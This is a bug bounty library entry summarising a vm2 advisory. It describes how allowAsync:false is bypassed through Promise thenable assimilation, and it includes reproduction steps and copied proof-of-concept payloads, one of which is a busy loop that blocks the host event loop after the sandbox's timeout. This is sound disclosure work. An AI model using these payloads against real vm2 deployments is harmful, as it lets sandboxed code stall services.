# vm2: `allowAsync: false` can be bypassed through Promise thenable assimilation in VM and NodeVM

vm2's allowAsync:false only patches Promise.prototype.then, so Promise.resolve/all/race/any/allSettled assimilate attacker thenables and run code after run() returns, escaping timeout.

- Payout: Research
- Severity: high
- Program: vm2
- Found by: sondt99, dungNHVhust
- Disclosed: 2026-10-05
- CVE: CVE-2026-92959
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-f8gf-w286-fmq2
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-f8gf-w286-fmq2
- Tags: area:oss domain:oss impact:dos impact:integrity kind:research platform:ghsa sev:high tech:nodejs technique:incomplete-fix technique:source-review vuln:access-control vuln:dos vuln:sandbox-escape

**Target:** vm2 sandbox Promise implementation (VM/NodeVM)
**Root cause:** allowAsync:false enforcement replaces only localPromise.prototype.then with AsyncErrorHandler, but Promise static methods (resolve/all/race/any/allSettled) still assimilate thenables via native PromiseResolveThenableJob, which never touches the patched prototype method.
**Steps:**
1. Install vm2 <= 3.11.7 and require it.
2. Create `new VM({allowAsync: false, timeout: 10, sandbox: {mark: v => events.push(v)}})`.
3. Run `Promise.resolve({then(r){mark('resolve-thenable')}}); 1` — run() returns 1, thenable fires in a microtask after return.
4. Repeat with `Promise.all([{then(r){mark('all-thenable')}}])`, `Promise.race`, `Promise.any`, `Promise.allSettled`.
5. Negative control: `Promise.resolve(1).then(function(){mark('direct')})` throws `VMError: Async not available`.
6. Timeout bypass: `Promise.resolve({then(){var t=Date.now();while(Date.now()-t<35){};mark(Date.now())}}); 1` — run() returns in 0ms, thenable blocks 35ms after return.
7. Same payloads work in `new NodeVM({allowAsync: false, ...})`.
**How found:** Noticed the allowAsync:false implementation only patches localPromise.prototype.then (setup-sandbox.js:1743-1752) while static Promise methods are merely rebound to localPromise (1816-1843) without rejecting thenables; hypothesized native PromiseResolveThenableJob bypasses the patched prototype path, confirmed with thenable PoCs and a direct-.then negative control.
**Exploitation:** Sandboxed script passes an object with an attacker-controlled `then` method to a Promise static method; native resolution schedules a PromiseResolveThenableJob microtask that executes after VM.run()/NodeVM.run() has returned, outside the configured timeout. Attacker can then run arbitrary sandboxed code post-return, including an unbounded busy loop that blocks the host event loop.
**Insight:** When a sandbox blocks async by patching one method, enumerate every spec path that can schedule a microtask — Promise static methods, thenable assimilation, queueMicrotask, async iterators — and test each with a thenable object rather than a real Promise.

## Proof of concept (copied exactly from the original report)

**Promise.resolve thenable payloads**

```
await runVmCase('VM Promise.resolve thenable', `Promise.resolve({then(r){mark('resolve-thenable')}}); 1`);
  await runVmCase('VM Promise.all thenable', `Promise.all([{then(r){mark('all-thenable')}}]); 1`);
  await runVmCase('VM Promise.race thenable', `Promise.race([{then(r){mark('race-thenable')}}]); 1`);
  await runVmCase('VM Promise.any thenable', `Promise.any([{then(r){mark('any-thenable')}}]); 1`);
  await runVmCase('VM Promise.allSettled thenable', `Promise.allSettled([{then(r){mark('allSettled-thenable')}}]); 1`);
  await runVmCase('VM direct then negative control', `Promise.resolve(1).then(function(){mark('direct')}); 1`);
```

**Timeout bypass thenable busy-loop payload**

```
const ret = timeoutVm.run(`Promise.resolve({then(){var t=Date.now();while(Date.now()-t<35){};mark(Date.now())}}); 1`);
  const afterRun = Date.now();
  await new Promise(resolve => setImmediate(resolve));
  console.log(`timeout case returned: ${ret}`);
  console.log(`timeout case runReturnedInMs: ${afterRun - started}`);
  console.log(`timeout case events: ${timeoutEvents.length}`);
```

